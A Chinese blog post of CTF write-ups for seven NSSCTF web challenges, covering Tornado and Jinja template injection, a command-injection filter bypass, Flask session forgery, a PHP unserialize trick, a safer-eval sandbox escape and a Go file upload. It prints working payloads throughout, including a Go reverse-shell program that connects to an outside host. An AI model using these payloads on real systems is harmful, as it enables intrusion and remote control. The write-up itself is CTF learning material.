NSSCTF web刷题记录3

文章目录

    • [[护网杯 2018]easy_tornado](#[护网杯 2018]easy_tornado)
    • [[NSSRound#V Team]PYRCE](#V Team]PYRCE)
      • [方法一 cp命令](#方法一 cp命令)
      • [方法二 tar命令](#方法二 tar命令)
    • [[CISCN 2019华东南]Web4](#[CISCN 2019华东南]Web4)
    • [[CISCN 2023 华北]ez_date](#[CISCN 2023 华北]ez_date)
    • [[GWCTF 2019]你的名字](#[GWCTF 2019]你的名字)
    • [[GKCTF 2020]ez三剑客-easynode](#[GKCTF 2020]ez三剑客-easynode)
    • [[NSSRound#8 Basic]Upload_gogoggo](#8 Basic]Upload_gogoggo)

[护网杯 2018]easy_tornado

打开题目,发现有三个链接,分别看一下

第一个提示flag位置第二个由题目得知,其为tornado里的render函数
第三个给算MD5的式子,结合访问的参数值,猜测如下

filehash=md5(cookie_secret+md5(filename))

首先我们要找到注入点,filename肯定是文件名,那么只好尝试参数filehash

?filename=/flag.txt&filehash={{7*7}}

发现跳转另一个页面,那么再次输入{``{7*7}}

发现存在注入点,并且被过滤了

这里关键是要去得到cookie_secret的值,借助百度,Tornado框架的附属文件handler.settings中存在cookie_secret,修改下payload
得到cookie_secret后,用脚本生成拼接后的MD5值

(注意是点号连接)

<?php
$a='/fllllllllllllag';
$b='5b4ac501-8d61-4a41-ba8a-97056572c6ea';
$c=md5($b.(md5($a)));
echo $c;

得到flag

[NSSRound#V Team]PYRCE

源码

from flask import Flask, request, make_response 
import uuid 
import os 
# flag in /flag 
app = Flask(__name__) 
def waf(rce): 
    black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ ' 
    for black in black_list: 
        if black in rce: 
            return False 
    return True 

@app.route('/', methods=['GET']) 
def index(): 
    if request.args.get("Ňśś"): 
        nss = request.args.get("Ňśś") 
        if waf(nss): 
            os.popen(nss) 
        else: 
            return "waf" 
return "/source" 

@app.route('/source', methods=['GET']) 
def source(): 
    src = open("app.py", 'rb').read() 
    return src 

if __name__ == '__main__': 
    app.run(host='0.0.0.0', debug=False, port=8080) 

简单的flask框架,在./的路由下存在GET参数,然后绕过waf过滤来命令执行

不难发现黑名单过滤了/,这里用的是pwd构造出/然后结合存在app.py,我们用cp命令把/flag复制到app.py里面

我们先看一下怎么利用pwd构造出/

首先pwd表示的是当前工作目录
那如果我们构造以下语句

cd ..&&cd ..&&pwd

构造出根目录

方法一 cp命令

我们要把flag复制到app.py,但是我们不知道当前目录是什么,所以多尝试看看需要几个cd ..

payload

cp $(cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&echo $(pwd)flag) app.py

考虑到过滤,先用%09代替空格,然后url编码一下

cp%09%24%28cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26echo%09%24%28pwd%29flag%29%09app%2Epy

由于不能直接打开app.py,我们需要访问./source打开

得到flag

方法二 tar命令

先创建一个静态访问的文档

mkdir%09static

payload

tar%09czf%09static$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag.tar.gz%09$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag
//等效于tar czf static/flag.tar.gz /flag

注:czf为tar命令的参数

然后访问./static/flag.tar.gz下载flag

[CISCN 2019华东南]Web4

考点:seed生成伪随机数,session伪造

打开题目,发现可以读取用户信息
这里查看下网络,发现是python2环境

读取下app.py

源码如下

# encoding:utf-8
import re
import random
import uuid
import urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = True


@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! Read somethings'


@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print(str(ex))
        return 'no response'


@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'


if __name__ == '__main__':
    app.run(debug=True, host="0.0.0.0")

源码非常简单,只要session中的username值为fuck即可

我们看看如何伪造session,下面给出key的获取方式

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)

uuid.getnode()这个代表着Mac地址,我们尝试读取一下(file用load_file替换)

?url=local_file:///sys/class/net/eth0/address

然后再写脚本去爆破得到key(注意这里是python2环境)

import random
random.seed(0x0242ac02aff2)
print(str(random.random()*233))

然后解密一下

修改为fuck,再加密得到cookie值

bp抓包修改,得到flag

[CISCN 2023 华北]ez_date

考点:MD5强等于,sha1强等于,date函数特性

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

unserialize(base64_decode($_GET['code']));

分析一下,首先判断a和b是否为数组,然后进行判断MD5和sha1是否强等于;如果为true,那么将file值传入date函数并赋值给变量content;使用 uniqid() 生成一个唯一的标识符,并将其与 .txt 扩展名拼接为文件名,赋值给变量 $uuid;最后就是进行正则匹配,读取文件

这里绕过强等于可以利用数字1和字符1分别赋值即可绕过,那么我们再来看看date函数,我们本地测试下

<?php
$a='/flag';
print(date($a));

运行结果为fSaturdayam9,可以发现字符串的lg变成了Saturdaym9,当我们试试防止其转义添加反斜杠时,成功构造出/flag

<?php
$a='/f\l\a\g';
print(date($a));

所以源码中的file值为/f\l\a\g

exp如下

<?php

class date{
    public $a;
    public $b;
    public $file;
}

$A=new date();
$A->a=1;
$A->b='1';
$A->file='/f\l\a\g';
echo base64_encode(serialize($A));

得到flag

[GWCTF 2019]你的名字

考点:ssti

打开题目,尝试输入{``{7*7}}

发现报错,说明存在过滤
替换一下

{%print(7*7)%}

成功注入
我们可以bp抓包fuzz测试下过滤了什么

可以发现class也被过滤了
payload

{%print(lipsum.__globals__['o''s']['pop''en']('env').read())%}

注:过滤了popen,用字符串拼接读取环境变量

得到flag

[GKCTF 2020]ez三剑客-easynode

考点:nodeJs,整数溢出,vm沙箱逃逸

打开题目,查看源码

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

分析一下,当访问./eval路径即收到请求时,会执行此函数。首先会检测是否为./eval路径,然后会定义变量delay,初始值为60秒;如果请求的查询参数 delay 是一个整数,那么会将 delay 更新为当前 delay 和 req.query.delay 中较大的值。

if (Number.isInteger(parseInt(req.query.delay))) 

观察到会被强制转换为int型,可以利用整数溢出绕过
然后就是./eval路由,如果请求参数e存在,那么会返回saferEval(req.body.e)

此函数存在命令执行漏洞,搜索一下,会发现要利用vm沙箱逃逸的知识

poc如下

const saferEval = require("./src/index");

const theFunction = function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

即e的值为process

payload

e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()

得到flag

[NSSRound#8 Basic]Upload_gogoggo

考点:go文件上传,反弹shell

题目提示没有任何过滤,尝试上传一句话木马
这里发现确实上传成功了,但是看到go help

应该是go语言写的,go 1提示未知命令

猜测命令构成为

go 文件名 上传文件

也就是说我们如果上传名为run.go的文件

那么将执行go run run.go,也就是解析我们上传的go文件

go文件反弹shell脚本如下

package main

import (
	"fmt"
	"log"
	"os/exec"
)

func main() {
	cmd := exec.Command("bash", "-c","bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1")
	out, err := cmd.CombinedOutput()
	if err != nil {
		fmt.Printf("combined out:\n%s\n", string(out))
		log.Fatalf("cmd.Run() failed with %s\n", err)
	}
	fmt.Printf("combined out:\n%s\n", string(out))
}

可以发现上传成功并且被解析
那么我们nc监听一下,成功反弹shell
然后flag被分成两部分
解码得到flag

相关推荐
天下皆白_唯我独黑2 分钟前
php 使用qrcode制作二维码图片
开发语言·php
零意@3 分钟前
ubuntu切换不同版本的python
windows·python·ubuntu
小远yyds8 分钟前
前端Web用户 token 持久化
开发语言·前端·javascript·vue.js
思忖小下14 分钟前
Python基础学习_01
python
hong16168816 分钟前
跨模态对齐与跨领域学习
学习
q567315231 小时前
在 Bash 中获取 Python 模块变量列
开发语言·python·bash
是萝卜干呀1 小时前
Backend - Python 爬取网页数据并保存在Excel文件中
python·excel·table·xlwt·爬取网页数据
代码欢乐豆1 小时前
数据采集之selenium模拟登录
python·selenium·测试工具
阿伟来咯~1 小时前
记录学习react的一些内容
javascript·学习·react.js
吕彬-前端1 小时前
使用vite+react+ts+Ant Design开发后台管理项目(五)
前端·javascript·react.js